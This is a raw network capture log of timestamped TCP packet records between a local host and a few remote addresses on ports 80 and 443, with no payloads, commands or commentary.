Nov 27, 2024 11:14:46.164777994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.164791107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.164863110 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.165612936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.165694952 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.174365044 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.174382925 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.174439907 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.174452066 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.174523115 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.185631037 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.185653925 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.185708046 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.185719967 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.185776949 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.185776949 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.194837093 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.194863081 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.194926023 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.194938898 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.194993973 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.194993973 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.205324888 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.205347061 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.205410004 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.205418110 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.205502987 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.205502987 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.206005096 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.206084013 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.206120968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.206227064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.206454039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.206521988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.206582069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.206628084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.207366943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.207439899 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.207447052 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.207585096 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.208219051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.208280087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.208291054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.208389997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.209065914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.209136009 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.209173918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.209265947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.209918976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.210016012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.210020065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.210212946 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.210803032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.210856915 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.210871935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.210994005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.215001106 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.215028048 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.215120077 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.215120077 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.215130091 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.215904951 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.225503922 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.225528002 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.225656986 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.225656986 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.225673914 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.226834059 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.236097097 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.236128092 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.236644983 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.236644983 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.236670971 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.237241030 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.281795979 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.281888962 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.281904936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.281965017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.282216072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.282284021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.282386065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.283086061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.283143044 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.283262968 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.283931017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.283984900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.284214020 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.284276962 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.284313917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.284396887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.285120010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.285201073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.285207987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.285298109 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.285936117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.286005020 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.286051989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.286112070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.286863089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.286935091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.286967039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.287028074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.287674904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.287743092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.287775993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.287825108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.288573027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.288654089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.288733006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.288796902 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.289452076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.289557934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.290184975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.290261030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.290313005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.331734896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.367583036 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.367613077 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.367674112 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.367685080 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.367703915 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.367728949 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.375889063 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.375906944 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.375982046 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.375988960 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.376219034 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.384114981 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.384130955 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.384239912 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.384239912 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.384248018 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.384999037 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.391333103 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.391351938 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.391433954 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.391442060 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.391485929 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.400182962 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.400213003 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.400265932 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.400274992 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.400341034 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.400341034 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.407787085 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.407804966 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.407862902 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.407871962 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.408534050 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.415752888 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.415777922 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.415853024 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.415872097 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.415884018 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.415966034 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.423966885 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.424009085 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.424041986 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.424051046 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.424062967 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.424086094 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.424154997 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.425147057 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:46.425159931 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:46.451556921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.740962029 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:46.744812965 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:46.744849920 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:46.745264053 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:46.745269060 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:46.812465906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.812556028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.812728882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.812803030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.812875986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.812891006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.812947035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.813693047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.813772917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.814096928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.814155102 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.814551115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.814893961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.815161943 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.815411091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.815589905 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.815632105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.815632105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.816298962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.817070961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.817202091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.817214966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.817239046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.817264080 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.817308903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.818003893 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.818167925 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.819006920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.819021940 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.819103003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.819135904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.819233894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.819746971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.819838047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.820194006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.820295095 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.820628881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.820760012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.820827007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.821485996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.821799994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.822175980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.822241068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.822407961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.822421074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.822462082 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.823203087 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.823360920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.824116945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.824129105 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.824173927 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.824199915 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.824199915 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.824227095 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.825021029 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.825076103 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.825158119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.825314045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.825834990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.825896978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.826129913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.826514006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.826673985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.826731920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.826780081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.827270985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.827554941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.827604055 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.827637911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.827687025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.828432083 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.828478098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.828651905 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.828717947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.829328060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.829782963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.829832077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.829832077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.830182076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.830487013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.830507994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.830547094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.831062078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.831197023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.831450939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.831515074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.831928015 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.832026958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.832829952 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.832845926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.832859993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.832926035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.833607912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.833739042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.937830925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.937963963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.938009977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.938009977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.938199997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.938245058 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.938421965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.938499928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.938549042 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.938608885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.939291000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.939584970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.939730883 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.940195084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.940506935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.940638065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.941021919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.941550016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.941730022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.941893101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.942003965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.942004919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.942078114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.942751884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.942886114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.942905903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.942969084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.943624020 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.943886042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.943970919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.944549084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.944622993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.944931984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.945436954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.945542097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.945734024 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.945981026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.946242094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.946315050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.946378946 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.947140932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.947196007 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.947295904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.947949886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.948188066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.948322058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.948827028 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.948884010 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.949529886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.949589968 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.949693918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.949759960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.950021029 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.950066090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.950557947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.950659037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.950669050 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.950747967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.951458931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.951549053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.951843977 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.952214003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.952323914 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.952564955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.952707052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.953188896 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.953294992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.953377962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.954050064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.954132080 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.954173088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.954190969 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.954926014 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.955147028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:46.955513954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:46.955805063 CET	80	49830	185.215.113.206	192.168.2.6
